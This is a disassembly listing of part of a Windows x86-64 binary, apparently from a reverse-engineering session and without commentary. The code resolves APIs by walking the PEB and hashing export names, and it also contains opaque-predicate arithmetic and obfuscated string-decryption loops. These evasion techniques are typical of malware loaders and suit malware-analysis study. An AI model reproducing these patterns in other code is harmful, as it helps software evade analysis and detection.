mov r10d, ecx
mov dword [rsp + 0x68], ecx
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x140059fc7
nop dword [rax]
nop dword [rax + rax]
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x140059fb0
inc rdx
movzx eax, byte [rdx]
cmp al, r13b
je 0x140059ffa
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov dword [rsp + 0x68], ecx
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140059fe0
mov rdi, qword [r12]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r12
je 0x14005a013
cmp qword [rax + 0x30], r13
je 0x14005a013
mov al, 1
jmp 0x14005a015
xor al, al
test al, al
jne 0x140059e60
mov rdx, r13
mov qword [0x14007d288], rdx
mov rcx, qword [rsp + 0x15b0]
call rdx
mov rdx, qword [0x14007d0c8]
test rdx, rdx
jne 0x14005a209
mov r10d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rdi, r12
nop dword [rax + rax]
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test r10d, r10d
je 0x14005a0c0
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0xe8f390e4
cmp rcx, r8
je 0x14005a0b7
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x14005a0a0
cmp edx, r10d
jne 0x14005a1df
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
shr r15, 0x20
mov r11d, ecx
add r11, r9
cmp r11, r9
je 0x14005a1df
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14005a1df
mov r14d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0xe8f390e4
test al, al
je 0x14005a149
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14005a130
cmp ecx, dword [rsp + 0x60]
je 0x14005a159
test r8d, r8d
jne 0x14005a100
jmp 0x14005a1df
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, r11
jbe 0x14005a184
lea rax, [r15 + r11]
cmp rdx, rax
jae 0x14005a184
mov al, 1
jmp 0x14005a186
xor al, al
test al, al
je 0x14005a202
mov ecx, 0xe8f390e4
mov r10d, ecx
mov dword [rsp + 0x60], ecx
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x14005a1b7
nop dword [rax]
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x14005a1a0
inc rdx
movzx eax, byte [rdx]
cmp al, 0
je 0x14005a1db
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov dword [rsp + 0x60], ecx
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x14005a1c1
mov rdi, qword [r12]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r12
je 0x14005a1f5
cmp qword [rax + 0x30], 0
je 0x14005a1f5
mov al, 1
jmp 0x14005a1f7
xor al, al
test al, al
jne 0x14005a060
mov rdx, r13
mov qword [0x14007d0c8], rdx
mov rcx, qword [rsp + 0x15b8]
call rdx
xor edx, edx
mov r8d, 0xf8
lea rcx, [rsp + 0x2290]
call sub.VCRUNTIME140.dll_memset
mov edx, 1
lea rcx, [rsp + 0x2290]
call fcn.14005bd60
nop
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r15, rax
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005a62e
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rdi, r14
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14005a33a
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14005a33a
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r10 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x14005a335
mov ecx, 0xb40718dd
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14005a310
cmp ecx, 0xe6dccc9b
je 0x14005a454
test r8d, r8d
jne 0x14005a2e0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r14
je 0x14005a350
cmp qword [rax + 0x30], 0
je 0x14005a350
mov al, 1
jmp 0x14005a352
xor al, al
test al, al
jne 0x14005a2b0
mov rax, r13
mov qword [rsp + 0x20], r13
lea r9, [rsp + 0x1560]
mov r8d, 0x1000
lea rdx, [rsp + 0x6b90]
mov rcx, r15
call rax
test eax, eax
je 0x14005a38b
cmp dword [rsp + 0x1560], 0
ja 0x14005a393
mov qword [rsp + 0x90], r13
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, qword [rsp + 0x90]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005a472
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14005a472
mov ebx, 7
jmp 0x14005a510
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x14005a35d
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005a509
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si ebx, xmm0
jmp 0x14005a510
mov ebx, dword [rsp + 0x1560]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx eax, al
imul edx, eax
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*4]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14005a62e
mov byte [rsp + 0x16b8], 0
mov byte [rsp + 0xfa0], 0x4c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xfa1], xmm0
mov qword [rsp + 0xfb1], rax
mov qword [rsp + 0x1688], r13
mov rax, qword [rsp + 0x1688]
cmp rax, 0x19
jae 0x14005a603
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [rsp + 0x1688]
mov rax, qword [rsp + 0x1688]
movzx edx, byte [rsp + rax + 0xfa0]
movabs rax, 0x33405c635154d936
add rcx, rax
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 0x7a
add cl, dl
mov rax, qword [rsp + 0x1688]
mov byte [rsp + rax + 0xfa0], cl
mov rax, qword [rsp + 0x1688]
inc rax
mov qword [rsp + 0x1688], rax
mov rax, qword [rsp + 0x1688]
cmp rax, 0x19
jb 0x14005a5a0
mov ecx, dword [rsp + 0x1560]
movzx eax, byte [rsp + 0xfa0]
mov byte [rsp + rcx + 0x6b90], al
lea rdx, [rsp + 0x6b90]
lea rcx, [rsp + 0x22a0]
call fcn.140002170
call fcn.140003750
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003790
movsx r8d, al
mov edx, edi
imul edx, ebx
lea ebx, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*2]
add eax, r8d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005a72c
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14005a72c
mov eax, 7
jmp 0x14005a7ca
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov ecx, edi
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005a7c3
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov ecx, edi
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
jmp 0x14005a7ca
mov eax, dword [rsp + 0x1560]
xor esi, esi
cmp esi, eax
jge 0x14005a7e6
lea rdx, [rsp + 0xf80]
lea rcx, [rsp + 0x22a8]
call fcn.140001f10
nop
lea rcx, [rsp + 0x2328]
call fcn.14005bd00
lea rcx, [rsp + 0x2328]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x1928]
call fcn.14005c960
lea rcx, [rsp + 0xf80]
call fcn.140001c70
nop
lea rcx, [rsp + 0xf00]
call fcn.140001c70
nop
lea rcx, [rsp + 0xee0]
call fcn.140001c70
nop
lea rcx, [rsp + 0xec0]
call fcn.140001c70
nop
lea rcx, [rsp + 0x160]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1848]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1828]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1808]
call fcn.140001c70
nop
lea rcx, [rsp + 0x17e8]
call fcn.140001c70
nop
lea rcx, [rsp + 0x17c8]
call fcn.140001c70
nop
movzx edx, byte [rsp + 0x16e8]
lea rcx, [rsp + 0x16f0]
call fcn.14005d5a0
nop
movzx edx, byte [rsp + 0x16f8]
lea rcx, [rsp + 0x1700]
call fcn.14005d5a0
nop
lea rcx, [rsp + 0x1788]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1768]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1748]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1728]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1708]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1bc8]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1b88]
call fcn.140001c70
nop
jmp 0x14005aa46
lea rcx, [rsp + 0x2438]
call fcn.14005bb10
lea rcx, [rsp + 0x2438]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x1ae8]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1aa8]
call fcn.140001c70
nop
lea rcx, [rsp + 0x19e8]
call fcn.140001c70
nop
lea rcx, [rsp + 0x19c8]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1988]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1948]
call fcn.140001c70
nop
lea rcx, [rsp + 0x18c8]
call fcn.140001c70
nop
lea rcx, [rsp + 0x18e8]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1908]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1a08]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1a28]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1a48]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1b08]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1b28]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1b48]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1b68]
call fcn.140001c70
nop
lea rcx, [rsp + 0x17a8]
call fcn.140001c70
nop
jmp 0x14005ab54
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx edi, al
imul edi, ebx
call fcn.140003790
movsx ecx, al
add ecx, edi
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x1688], xmm1
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140003790
movsx ecx, al
add ecx, ebx
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005ac40
call fcn.140003770
movsx ecx, al
movsx ebx, byte [0x14007d2e0]
imul ebx, ecx
shl ebx, 3
call fcn.1400037a0
movsx ecx, al
sub ebx, ecx
call fcn.140003780
movsx edx, al
add edx, ebx
movsx ecx, byte [0x14007c0dc]
add ecx, edx
jne 0x14005ace2
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140003790
movsx ecx, al
add ecx, ebx
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005acd3
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140003790
movsx ecx, al
add ecx, ebx
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
jmp 0x14005acda
mov eax, dword [rsp + 0x1560]
cmp esi, eax
jge 0x14005ada9
mov byte [rsp + 0xd0], 0x86
mov byte [rsp + 0xd1], 0x81
mov byte [rsp + 0xd2], 0x80
mov byte [rsp + 0xd3], 0x83
xor eax, eax
mov qword [rsp + 0xd4], rax
mov dword [rsp + 0xdc], eax
mov qword [rsp + 0x1688], rsi
mov rax, qword [rsp + 0x1688]
cmp rax, 0x10
jae 0x14005ad9e
movabs r8, 0x9d1a79085b8033eb
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [rsp + 0x1688]
mov rax, qword [rsp + 0x1688]
movzx edx, byte [rsp + rax + 0xd0]
add rcx, r8
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
sub bl, 0x6d
mov rax, qword [rsp + 0x1688]
mov byte [rsp + rax + 0xd0], bl
mov rax, qword [rsp + 0x1688]
inc rax
mov qword [rsp + 0x1688], rax
mov rax, qword [rsp + 0x1688]
cmp rax, 0x10
jb 0x14005ad40
cmp dword [rsp + 0xd0], 0
setne al
mov rcx, qword [rsp + 0x7bb0]
xor rcx, rsp
call fcn.14006f780
lea r11, [rsp + 0x7c00]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
ret